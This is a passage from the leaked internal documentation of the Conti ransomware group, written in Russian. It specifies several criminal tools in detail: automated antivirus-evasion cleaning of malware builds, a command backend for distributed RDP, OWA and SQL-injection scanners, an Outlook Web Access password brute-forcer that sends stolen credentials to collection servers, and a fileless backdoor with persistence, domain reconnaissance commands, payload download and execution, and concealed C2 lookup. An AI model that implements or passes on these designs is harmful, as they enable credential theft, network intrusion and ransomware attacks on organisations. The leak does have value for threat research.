https://nsis.sourceforge.io/NSIS_False_Positives
Потому, в руководстве пользователя, нужно будет указать этот момент, и порекомендовать добавление программы
в исключения антивируса.
То есть - это совершенно обычная практика, когда инсталлятор нормального легитимного софта светится детектами,
поэтому и инсталлятор, и софт добавляют в исключения АВ. Это не привлечет внимания.
Потому мы идем таким замысловатым путем - дабы максимально увеличить срок жизни софта, ценой удобства нашей работы.
ДОРАБОТКА МОСТА VPN
Можно использовать мост VPN для работы со следующими доработками:
1. Мост VPN должен проверять клиента Б по базе подписки.
Оригинальный мост этого не делал и принимал любые соединения от доверенных IP-адресов
2. Нужно добавить в веб-API моста запрос листинга доступных соединений
Кроме того, требуется сделать оконечный модуль на стороне А, для инициализации дальнего конца туннеля VPN (аналог модуля А
для классической схемы моста). С учетом того, что это будут в основном сервера Linux.

209
Conti Documentation Leak/docs/modules/ТЗ автоматизация чистки.txt

@ -0,0 +1,209 @@
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
АВТОМАТИЧЕСКИЙ ПОИСК АНТИВИРУСНЫХ ДЕТЕКТОВ В ИСХОДНОМ КОДЕ
ЦЕЛЬ
Уменьшить время чистки от антивирусных детектов путем автоматизации процесса.
ИДЕЯ
Обычный алгоритм чистки следующий:
Этап 1
1 берем проект, который нужно почистить
2 комментируем вообще все функции и глобальные переменные
3 делаем сборку в боевом профиле
4 получившийся бинарник заливаем на dyncheck и проверяем
5 если число детектов меньше заданного порога, гото этап 2, иначе
6 раскомментируем одну функцию (согласно графу зависимостей)
7 гото 3
Этап 2
для каждой найденной функции с детектами, отсекаем #ifdef'ом части функции по тому же принципу,
до тех пор пока не дойдем до одной строчки либо блока кода.
Есть оптимизация на шаге 6 - можно раскомментировать сразу несколько функций, оптимистично полагая что детект не здесь)
Если запилить программу, которая умеет разобрать исходники, построить граф зависимостей функций, и вставлять #ifdef FUNCTION1_NEVER .. #endif
в теле этих функций, то процесс можно автоматизировать.
РЕАЛИЗАЦИЯ
Программа должна быть оформлена как консольная утилита и написана на C++.
По возможности обеспечить кросс-платформенность.
Интерфейс пользователя - ключи командной строки (getopt) и вывод на stdout/stderr.
Нужно реализовать описанный выше алгоритм со следующими граничными условиями:
* поддержка проектов Visual Studio начиная с 2010, включает в себя:
- задание профиля сборки (Release/x64)
- запуск компиляции на каждой итерации и поиск собранного файла там, где сказано в файле проекта
* точка расширения на функции антивирусной проверки (используемой на шаге 5)
- принцип плагина - должна быть функция bool avcheck(const char* path), которую легко заменить для разных инструментов проверки -
как для локальных антивирусов, так и для интеграции с онлайн-сервисами
* анализ кода должен исключать заведомо сложные случаи, такие как
- template<>
- рекурсию в библиотечные исходники, включая CRT/STL/WinAPI
- все что усложняет реализацию, должно быть оговорено и упрощено.
Проще привести код к удобному для анализа виду, чем усложнять анализатор.
* объяснение на stdout что происходит:
Этап 1
итерация 1, закомментировано 1801 функция, число детектов 0
итерация 2, закомментировано 900 функция, число детектов 18
..
итерация 100, закомментировано 50 функций, число детектов 0
Этап 2
Функция foo(), убраны строки 100..200, число детектов 0
Функция foo(), убраны строки 190..200, число детектов 0
Функция foo(), убраны строки 195..200, число детектов 18
Детекты найдены в функциях:
foo(): 195..200
bar(): 400..402
dumb(): 151..152
Можно переделать готовые подходящие анализаторы кода - сейчас много статических анализаторов с готовым модулем синтаксического разбора.
РЕАЛИЗАЦИЯ, ВАРИАНТ №2, УПРОЩЕННЫЙ
Делаем то же самое без разбора исходного кода, путем анализа карты функций компоновщика (параметр /MAP компоновщика):
- заказываем у компоновщика карту бинарника ключом /map
- парсим выходную карту, находим границы функций
- зануляем функции ПРЯМО В БИНАРНИКЕ
Так можно избежать парсинга исходников на этапе 1 (на этапе 2 к сожалению не получится)
Но и реализация хотя бы в объеме этапа 1 очень сильно облегчила бы жизнь.
Т.к. в карте появляется слишком много левых символов, которые вовсе не требуют анализа (функции из CRT, всякая служебная мелочь),
то нужны дополнительные инструменты в интерфейсе программы:
- маски для исключения символов (черный список)
- маски списка проверки объектных файлов (.obj) (белый список)
- маски списка проверки символов
Также мелкие символы можно отсечь по размеру (см.ниже алгоритм)
Есть похожая реализация
https://github.com/vxlabinfo/SignFinder
основана на статьях
https://vxlab.info/%d1%87%d0%b8%d1%81%d1%82%d0%ba%d0%b0-pe32-%d1%87%d0%b0%d1%81%d1%82%d1%8c-1/
https://vxlab.info/%d1%87%d0%b8%d1%81%d1%82%d0%ba%d0%b0-pe32-%d1%87%d0%b0%d1%81%d1%82%d1%8c-2/
сайт уже протух, но остались копии, например здесь
https://ru-sfera.org/threads/chistka-ot-signaturnogo-detekta-antivirusov.2870/
Оттуда можно взять эвристики проверок отдельных секций, заголовков и импорта.
АЛГОРИТМ ПРОВЕРКИ
На входе алгоритма - нераскрашенный список символов (функций и глобальных данных).
На выходе алгоритма - раскрашенный список символов, так что каждому символу присвоен цвет - белый или черный.
Цель алгоритма - раскрасить все функции за минимальное число шагов.
Алгоритм:
1. Первый проход по списку: помечаем как "белые" все символы по списку исключения/не содержащиеся в списках проверки
2. Сортируем список по занимаемому в памяти размеру символа
3. Символы с размером ниже некоторого порога (настройка или эвристически определяемого значение) сразу можно раскрасить "белым"
На этом шаге следует занулить все нераскрашенные символы и сделать АВ-проверку.
Если проверка даст детект, выводим предупреждение что в бинарном файле есть детекты на самой первой итерации и завершаем работу.
Иначе, разнуляем все нераскрашенные символы.
Далее в алгоритме необходимо помнить состояние:
- список текущих проверяемых символов ("текущий список")
- список раскрашенных символов.
До конца работы алгоритма:
- Белые символы должны быть разнулены
- Черные символы должны быть занулены
4. Делаем отбор в текущий список: половина (50%) нераскрашенных символов файла
5. Разнуляем не раскрашенные символы текущего списка
6. АВ проверка - вызываем функцию проверки av_check()
7. Детект есть?
- нет: пометили разнуленную часть текущего списка как "белый", продолжаем выполнение (гото 8)
- да:
в разнуленной части 1 символ?
- да: пометили как черный, занулили до конца проверки, гото 6
- нет: занулили половину (50%) нераскрашенной части текущего списка, гото 6
8. Если остались нераскрашенные символы в текущем списке, гото 5
9. Если остались нераскрашенные символы в файле, гото 4
На этот алгоритм можно написать unit-тест, заставив av_check() выдавать детекты только на конкретный список функций.
USAGE
-i <input exe file> проверяемый файл. Аргумент обязательный.
-m <input map file> карта компоновщика .map. Аргумент обязательный.
-d <workdir> рабочий каталог, куда складываем промежуточные файлы. По умолчанию текущий.
-s <section> список тестируемых секций (.text, .data ...). Можно указать -s несколько раз, например -s .text -t .data.
По умолчанию все секции.
-z <Minimum size threshold> исключить из проверки символы размером меньше чем указанный; размер в байтах. По умолчанию 0 (нет порога).
-a defender|dyncheck проверка на указанном антивирусе. Умолчания нет, аргумент обязательный.
-f <functionmask> проверять только символы с именем, удовлетворяющим маске. Можно указать -f несколько раз, например -f symb1* -f symb2*
-M <modulename> проверять только символы из указанных модулей. Можно указать -f несколько раз, например -m module1* -m module2*
Аргументы -s, -z, -f, -M комбинируются по логическому И (пересечение множеств), т.е. уменьшают диапазон проверки.
ИНТЕГРАЦИЯ С АВ-ДВИЖКАМИ
На первом этапе обязательны интеграции с Windows Defender (Windows 10) и dyncheck.com через API.
Далее код на Powershell
* Объект Defender
$Defender = @{
#MALWAREPROTECTION_*
SCAN_STARTED = 1000
SCAN_COMPLETED = 1001
MALWARE_DETECTED = 1006
BEHAVIOR_DETECTED = 1015
STATE_MALWARE_DETECTED = 1116
STATE_MALWARE_ACTION_TAKEN = 1117
StartTime = $null
IsRunning = $false
ScanProc = $null
ScanId = $null
LastScanId = $null
}
* Запуск Windows Defender
$Defender.ScanProc = Start-Process `
-FilePath "$($env:programfiles)\Windows Defender\mpcmdrun.exe" `
-ArgumentList '-Scan', '-ScanType 3', "-File $f" `
-PassThru -NoNewWindow #-Wait
$Defender.StartTime = (Get-Date).AddSeconds(-5)
$Defender.IsRunning = $true
* Получение идентификатора проверки, для последующего чтения журнала:
$ScanStarted = Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" |
Where-Object {
$_.TimeCreated -ge $Defender.StartTime -and
$_.Id -eq $Defender.SCAN_STARTED
}
if ($ScanStarted)
{
$Defender.ScanId = $ScanStarted.Properties[$ScanId].Value
$Defender.LastScanId = $Defender.ScanId
}
* Проверка завершения сканирования:
$ScanCompleted = Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" |
Where-Object {
$_.TimeCreated -ge $Defender.StartTime -and
$_.Id -eq $Defender.SCAN_COMPLETED -and
$_.Properties[$ScanId].Value -eq $Defender.ScanId
}
* Наличие детекта в образце:
$MalwareDetected = Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" |
Where-Object {
$_.TimeCreated -ge $Defender.StartTime -and
$_.Id -in `
$Defender.MALWARE_DETECTED, `
$Defender.BEHAVIOR_DETECTED, `
$Defender.STATE_MALWARE_DETECTED `
На втором этапе, нужна интеграция с:
- Eset NOD32
- Kaspersky
- Norton Antivirus
Третий этап:
- Avast

221
Conti Documentation Leak/docs/modules/ТЗ админка сканеров.txt

@ -0,0 +1,221 @@
АДМИНКА И BACKEND ДЛЯ СКАНЕРОВ ПАРОЛЕЙ И УЯЗВИМОСТЕЙ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
НАЗНАЧЕНИЕ
Система осуществляет две функции:
1) координация и управление распределенной сетью сканеров; распределение задач между ними
2) пользовательский интерфейс для просмотра и выгрузки данных.
ОБЩИЕ СВЕДЕНИЯ
Сканеров много и они организованы в распределенную сеть.
Каждому сканеру нужны две вещи:
- входные данные (источник списка доменов для сканирования; словари для перебора, правила итд)
- куда отправлять результат.
Чтобы КПД сканирования был высоким, деятельность сканеров нужно координировать: выдавать каждому сканеру
оптимальный c т.зрения распределения ресурсов участок сканирования.
Для этого наш бэкенд должен вести учет: что кому выдано, и что кем обработано.
В данной реализации мы будем дробить на участки только список доменов.
Словари не дробим; считается, что модуль должен по каждому домену прогнать полный словарь.
Рассчитывать на то, что типов сканеров есть несколько. Соответственно, каждому типу сканеров
нужен свой раздел - в БД все данные хранятся в разрезе "тип сканера".
Текущие типы сканеров:
- сканер RDP (имя в API: rdp)
- сканер OWA (Outlook Web Access) (имя в API: owa)
- сканер уязвимостей веб-сайтов (SQLScan) (имя в API: sql)
Настройки для всех типов сканеров:
- список доменов (сейчас используется TOP Alexa https://s3.amazonaws.com/alexa-static/top-1m.csv.zip; формат файла и упаковка должны быть такими же)
- размер участка сканирования (выбирается пропорционально размеру сети) - целое неотрицательное число
- время сохранения участка за конкретным сканером - целое неотрицательное число секунд; по умолчанию 4 суток; далее подбираем эмпирически
Настройки для сканера RDP (отдается в ответ на запрос от сканера - приведены имена настроек и значения):
- режим работы: mode (brute|check)
- словарь (словари) паролей: dict (текстовый файл в упаковке gzip)
- частота отправки результатов на сервер: freq (число секунд >= 0; 0 - означает немедленно по готовности следующего пароля;
не 0 - не чаще чем раз в Х секунд ожидаем накопленную пачку)
Настройки для сканера OWA:
- словарь пар "логин:пароль": dict (текстовый файл в упаковке gzip)
Настройки для сканера SQLScan:
- правила: rules (текстовый файл)
Размер чанка (куска общего списка) должен рассчитываться по следующим критериям:
- он должен быть минимально возможным, чтобы при входе новых безработных ботов в сеть им было что выдать
- время обработки чанка одним ботом не должно превышать некой небольшой величины, например одного часа
К примеру, для одного потока RDP наихудшее время одного подбора может занимать 120 секунд. Следовательно,
обработка 500 комбинаций "логин/пароль" займет 500*120=60000 секунд, т.е. почти сутки.
Под размер чанка должна подгоняться настройка "время сохранения участка за конкретным сканером" - она должна быть примерно равна
полуторакратному времени прохода одного чанка одним ботом.
API BACKEND
API выполнить на основе HTTP-сервера.
По умолчанию, на корректные запросы система отвечает HTTP 200 OK,
на некорректные - HTTP 404 Not Found.
В более широком смысле, все что не 200 считается ошибочным состоянием.
Сервер всегда должен отдавать заголовок Content-Length.
Избегать выдачи длины по Content-Disposition: chunked либо по Connection: close.
Все URL API начинаются с группы /group/clientid/
где
group - группа бота
clientid - id бота
Перед ответом на запрос система обязана проверить формальную корректность группы и ИД,
и отвергнуть запрос, если параметры некорректны.
Валидация группы: от 4 до 6 символов; первые 3 символа - латиница в нижнем регистре, последние 1..3 символа - цифры
Валидация ИД: это строка в верхнем регистре, состоящая из двух компонентов, разделённых точкой.
Первая часть имеет формат <name>_XYYYYYYY, где name - это некоторое имя, которое может как-то идентифицировать машину
(имя компьюетра или имя пользователя, в зависимости от типа операционной системы),
X - символ обозначающий тип системы на которой работает клиент (W - windows, L - linux, A - андроид, M - Mac OS),
YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у системы
(например, длЯ 6.1 build 7600 это будет 617600).
Вторая часть содержит 32 случайных символов 0-9, A-F.
Пример id клиента - QWERTY_W617600.11223344556677889900AABBCCDDEEFF.
GET /group/clientid/scantype/settingname HTTP/1.1
Получить конкретные настройки по имени настройки (settingname) для данного типа сканера.
Тело ответа варьируется в зависимости от настройки
GET /group/clientid/scantype/domains HTTP/1.1
Получить участок доменов для сканирования.
scantype - тип сканера.
Система выбирает следующий участок списка доменов, помечает его как занятый за данным сканером
с отметкой даты-времени.
В ответ отдается список доменов как простой текст; разделитель строк \r\n
Content-Type: text/plain
Если данный участок был занят этим же самым клиентом,
мы вновь отдаем модулю этот участок. Это штатная ситуация, означающая
перезагрузку модуля без сохранения состояния.
Если данный участок уже занят другим сканером того же типа,
смотрим на настройку "время сохранения"; если бывший владелец участка его не освободил за это время,
и от него не было сигналов, участок освобождаем и переназначем.
Если же участок действительно занят, ответ 404 Not Found.
GET /group/clientid/scantype/over HTTP/1.1
Сигнал от сканера, что участок обработан
В ответ всегда отдаем HTTP 200 OK, вне зависимости от ситуации.
Проверяем, действительно ли участок был за этим модулем, если да - помечаем как обработанный.
Если нет - пишем ошибку в лог.
Тело ответа - как на запрос /domains
Выбирается следующий свободный участок, назначается модулю и отдается в ответе.
Если свободных участков нет, отдается код 404.
GET /group/clientid/scantype/dict HTTP/1.1
Запрос словаря для данного типа сканера.
В ответ - словарь в том виде, как он загружен в админку.
Content-Type: text/plain или application/gzip
POST /group/clientid/81 HTTP/1.1
Намайненные сканером данные
Тело запроса - контейнер multipart/form-data со следующими полями:
data - бинарные данные размером до 32к - это собственно данные, которые нужно распарсить
source - UTF-8 строка длиной до 4096 байт - содержит указание на тип сканера (к примеру, "OWA Passwords")
Любые другие поля в посылке игнорируются, но ошибкой не считаются.
По умолчанию, в data приходит текст UTF-8 в следующем формате:
resource|login|password\n
Конец строки может быть как Unix (\n), так и DOS (\r\n)
resource - это место, куда подходит пароль (например URL. Или тип мессенджера. Или IP-адрес хоста. ИТД).
login
password - понятно
В такой записи могут быть доп.поля с разделителем | (вертикальная черта)
В ответ сервер должен выдать
HTTP 200 OK
Content-Type: ...
Content-Length: ...
/1/
ПАНЕЛЬ УПРАВЛЕНИЯ
Панель управления должна содержать следующие разделы:
* dashboard
* настройки сканеров
* данные со сканеров
На dashboard мы видим сводку по работе сканеров с момента последнего обновления списка доменов.
По каждому сканеру следующая инфа:
- круговые диаграмма с процентом "обработано/не обработано"
- размер участка сканирования
- дата-время последнего обновления списка доменов
- всего уникальных ботов работает по данному типу сканирования
- всего логинов/уязвимостей найдено
В настройках сканеров, для каждого типа сканера можно загрузить данные для него:
- список доменов
- словари
- что там еще.
При обновлении списка доменов или словарей очищается состояние выданных участков по данному сканеру,
очищается вся статистика (в dashboard), и выдача участков начинается сначала.
Потому при сохранении учитывать случай отсутствия изменений в конфигурации, чтобы не аннулировать результаты работы сети.
В разделе "данные со сканеров", на каждый тип сканера отдельная вкладка или страница.
На ней мы видим таблицу с полями
- дата-время отстука
- clientid
- group
- IP address
- полученные данные
По полям возможна сортировка и фильтрация.
а также кнопку "скачать дамп".
По кнопке получаем данные за всю историю работы.
***
[10:49:01] <A> Report interval, seconds подсказка The module will report every N seconds about its status
[10:49:35] <A> Fetch request, seconds подсказка The module will upload the vulnerabilities found to the server every N seconds
[10:50:44] <A> Rules переименуй в Scan Rules
[10:51:11] <A> подсказка These are the scan rules for the module. XML format is
[10:52:36] <A> <rules>
<rule>
<name>rule name</name>
<type>time|diff (one of these two options)</type>
<value1>probe value 1</value1>
<value2>probe value 2</value2>
<value3>probe value 3</value3>
</rule>
...
<rule>
...
</rule>
</rules>
[10:52:52] <A> CHANGE IT ONLY WHEN YOU KNOW WHAT YOU ARE DOING!
[10:54:04] <A> Domains подсказка These are the Internet domains to scan
[10:54:22] <A> Format is: plain text file; one domain per line; line separator is \n
[10:54:26] <A> Example:
[10:54:29] <A> www.site.com
[10:54:33] <A> domain.com
[10:54:34] <A> etc
[10:55:16] <A> Thead (1..10) переименуй в Scan threads number (1..10)
[10:56:31] <A> Time threshold (0..40) переименуй в Time threshold for time difference rules, seconds (0..40)
[10:58:35] <A> подсказка Time difference rule finds vulnerability by comparing injected and non-injected page loading time
[10:59:05] <A> Threshold (0..1000) переименуй в Char threshold (0..1000) (number of characters)
[11:01:09] <A> подсказка This value determines injection success for difference rules. When the injected page differs from the non-injected page by this number of characters

290
Conti Documentation Leak/docs/modules/ТЗ брут OWA.txt

@ -0,0 +1,290 @@
ЗАДАНИЕ НА РАЗРАБОТКУ МОДУЛЯ ПОДБОРА ПАРОЛЕЙ К OUTLOOK WEB ACCESS (OWA)
Цель модуля - распределенный подбор паролей к OWA
* Пометка (отложить) означает, что этот функционал пока не нужно реализовывать.
ПРИНЦИП РАБОТЫ
Модуль получает с сервера следующую информацию в виде конфигов:
- список логин:пароль для подбора
- список настроек
- список серверов DPOST
Модуль состоит из двух частей:
- кроулер
- сканер
Кроулер генерирует url для проверки.
Сканер их проверяет.
Принцип работы кроулера: случайный обход доменов из топ-50000 списка наподобие Алекса.
Точный источник данных для обхода пока неясен - у Алексы платная подписка. Нужно найти альтернативу.
s3.amazonaws.com/alexa-static/top-1m.csv.zip
Например, https://www.quantcast.com/top-sites/US/3
(отложить) Запасной вариант: работа по жестко заданному списку сайтов, полученному с сервера.
Далее, модуль:
1. берет следующий сайт с выхода кроулера
2. проверяет наличие пути /owa
3. проверяет наличие пути mail.domain.com/owa
4. проверяет наличие пути webmail.domain.com/owa
5. если owa не найден ни по одному пути, goto 1
7. берет следующую пару логин:пароль из словаря
8. отправляет HTTP-запрос для логина в owa.
9. при неудаче логина, goto 7
10. при успехе, добавляем найденную комбинацию в список найденных логинов, в виде url|логин|пароль
РЕАЛИЗАЦИЯ
0. Название проекта - owa.
При реализации, следует сделать следующее (описание алгоритма существенно упрощено):
1. брут-форс должен производиться в несколько потоков.
Выбор конкретной схемы многопоточности за разработчиком.
Можно предложить следующий вариант:
* кроулер работает в один поток, все найденные url складывает в очередь (защищенную мютексом).
Потоки сканирования (число ограничено) берут несколько url для сканирования из очереди (это вариация пула потоков).
Каждый поток сканирования работает по Н случайно выбранным сайтам из списка.
При неудаче логина берется следующий сайт, а текущий ставится в конец очереди.
То есть, брут производится циклически по Н сайтам, чтобы не давать пик нагрузки на один и тот же сайт.
Если для сайта был найден пароль, он убирается из очереди.
- число потоков задается константой компиляции и настройкой из конфига
- модуль минимизирует число вызовов connect() для открытия TCP-соединений. Между итерациями, соединение следует держать
открытым до тех пор, пока сервер его не закроет. В этом случае, соединение следует переоткрыть.
Если попытка переоткрытия соединения не удалась дважды подряд, прекращаются попытки соединиться с данным сайтом на полчаса
(константа задается во время компиляции).
2. нужно предусмотреть задержку в секундах между итерациями подбора (также константа компиляции и настройка из конфига)
3. нужно предусмотреть настройку User-Agent. Он должен конфигурироваться как константа компиляции,
и как настройка модуля.
4. нужно предусмотреть, что сайт может реагировать на куки. К примеру, отказаться работать, если не получит куки,
отданные на изначальный GET / HTTP/1.1
5. Модуль отправляет список найденных паролей раз в Н минут (задается константой компиляции и настройкой из конфига),
при условии что с предыдущей отправки были найдены новые пароли.
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
6. (отложить) если брут не дал результатов, следует начать проверку по словарю.
URL словарей для скачивания берется из конфига "список настроек".
7. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)
8. Модуль отправляет следующие события с тегом owa:
- "Version build %DATE% %TIME%" (один раз при старте)
- "OWA passwords sent to DPOST server" при успешной отправке собранных паролей
- "OWA passwords send failure: servers unavailable" при отсутствии доступных серверов DPOST
- "No OWA passwords in range; trying dictionaries", если закончена отработка по всему списку, ничего не найдено, и начата отработка по словарям
- "No OWA passwords; give up", есди закончена отработка по словарям, и ничего не найдено.
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
9. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
10. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
11. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
12. Модуль должен иметь две версии - x32- и x64-разрядную.
13. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
14. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/owa.log (путь к логу настраивается в макросе).
15. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
16. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
17. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
18. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
КОНФИГИ
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
XML-комментарии запрещены.
* settings
Конфиг представляет из себя простой xml в следующем формате:
<owa>
<delay>задержка между итерациями подбора, в миллисекундах</delay>
<threads>число потоков подбора</threads>
<nurl>число url, проверяемых одним потоком (циклически)</nurl>
<ua>user agent</ua>
(отложить)<dict1>URL дополнительного словаря 1</dict1>
(отложить)<dict2>URL дополнительного словаря 2</dict2>
(отложить)<dict3>URL дополнительного словаря 3</dict3>
...
<dictN>URL дополнительного словаря N</dictN>
</owa>
Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.
* dpost
Конфиг представляет из себя простой xml в следующем формате:
<dpost>
<handler>http://11.22.33.44:8082</handler>
<handler>127.0.0.1:8083</handler>
</dpost>
Префикс http/https к обработчику опционален. Если он указан, следует работать по указанному протоколу.
Если он не указан:
- если значение порта чётное, то работа идёт без шифрования (HTTP), если порт нечётный, то работа идёт поверх SSL/TLS (HTTPS).
Конфиг содержит список серверов, на которые следует отправлять результаты по протоколу DPOST.
Формат отправки: простой текст; разделитель строк - \r\n, разделитель полей - символ '|' (вертикальная черта).
Формат записи:
url|user|password\r\n
* pw
Список пар "имя пользователя" "пароль".
Текст в упаковке gzip.
формат строки username|password\r\n
(отложить) * sites
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
Каждая строка - одно доменное имя. Может как содержать префикс протокола http(s)://, так и не содержать.
В этом случае, при брут-форсе следует пробовать оба префикса.
(отложить) * dict
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
Каждая строка - пара логин|пароль. Разделитель полей - символ '|' (вертикальная черта).
(отложить) * ignore
Конфиг представляет из себя простой текстовый список, разделитель строк - символы \r\n
Каждая строка - URL.
Сюда будут включены адреса топ-сайтов вроде gmail.
Адреса из этого списка следует игнорировать при переборе. Имеется в виду адрес текущего сканируемого домена,
а не доменная часть текущего перебираемого email-адреса.
ВТОРАЯ ВЕРСИЯ
Основные изменения второй версии:
- новый режим проверки
- работа с командным сервером
РЕЖИМ ПРОВЕРКИ
В этом режиме модуль не ищет новые пароли, а проверяет имеющуюся базу на актуальность.
Соответственно, в этом режиме:
- сканер работает не по списку Alexa, а берет на вход очередной email из словаря email:password
- алгоритм поиска URL OWA сохраняется (угадываем url'ы вида webmail.domain.com/owa)
- по одному домену (точнее, по угаданному URL OWA этого домена) мы проверяем одну конкретную пару email:password
- добавляется настройка mode=check|brute, где check - режим проверки, brute - режим поиска и брутфорса (логика первой версии).
По поводу конфигов и словарей см.дальше.
КОМАНДНЫЙ СЕРВЕР И КОНФИГИ
Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
отсутствие специализированного хранилища для результатов.
Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
и которому отдаем добычу.
В связи с этим, упраздняются все конфиги из первой версии.
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
Получить режим работы можно HTTP-запросом на сервер
GET /<group>/<clientid>/owa/mode HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В теле HTTP-ответа модуль ожидает строку brute или check.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
Сканер получает список доменов для проверки HTTP-запросом на сервер
Число потоков сканирования:
GET /<group>/<clientid>/owa/th HTTP/1.1
В ответ - неотрицательное число.
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
GET /<group>/<clientid>/owa/domains HTTP/1.1
Формат ответа:
адрес1[\r]\n
домен2[\r]\n
...
(одна или множество записей)
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/owa/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/owa/dict HTTP/1.1
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
Формат:
email:password[\r]\n
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/owa/81 HTTP/1.1
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "OWA Passwords"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
owa|url|<username>|<password>\r\n
...
(одна или множество записей)
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/owa/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/owa/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).

658
Conti Documentation Leak/docs/modules/ТЗ бэкдор.txt

@ -0,0 +1,658 @@
МИНИМАЛИСТИЧНЫЙ BACKDOOR
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Разработать backdoor (разновидность легковесного бота), не использующий текущую кодовую базу, минимально достаточной для закрепления на целевых компьютерах,
по возможности не сохраняющий ничего на жесткий диск (fileless-технология)
В дальнейшем "бот" и "бэкдор" - слова-синонимы.
ТРЕБОВАНИЯ
Backdoor должен обладать следующим функционалом:
*- закрепляться в системе (переживать перезагрузку системы)
- связываться с админкой, докладывать о статусе и получать от нее команды
- НЕ ДОЛЖЕН обходить UAC
- НЕ ДОЛЖЕН повышать привилегии
- адреса командного сервера получать из общедоступных сервисов (emercoin dns, кеш гугла, суммы в транзакциях биткоин итд - чем проще тем лучше)
- работать через прокси, если он указан в настройках операционной системы (inetcpl.cpl -> Подключение -> Настройки прокси-сервера)
- собирать и отправлять на сервер инфу о системе: **
- версия и разрядность ОС
- тип и версия антивируса
- по возможности список установленного софта
(примечание заказчика: не принципиально если мы знаем антивирус - но вцелом можно, это не нагрузно, если так делаем списком процессов - то дополнительно можно в админке добавить поиск по ПИДу)
- имя пользователя
- имя компьютера
- в домене компьютер или нет (если да, то название домена)
- список trusted доменов и информация по домену
(примечание заказчика: cmd /c net view /all | /c net view /all /domain | /c nltest /domain_trusts /all_trusts + обавляем опрос доменного пользователя administrator, как реализовано в трике)
- каталог откуда запущен
- трафик к командному серверу должен по возможности маскироваться (в идеале - не TCP)
- уметь скачать и запустить .exe или .dll
- должна быть защита от перехвата ботнета при компрометации сервера или прокладки (т.е. обладания доступом к командному серверу недостаточно для того,
чтобы перенаправить управление всем ботнетом на другой командный сервер).
- немедленный отказ при работе в зоне .ru/СНГ - порезать на бекенде; также проверять наличие
русской раскладки.
*- удаление по команде
* пункты со звездочкой: предполагается, что бот будет НЕрезидентным, т.е. НЕ будет закрепляться в системе.
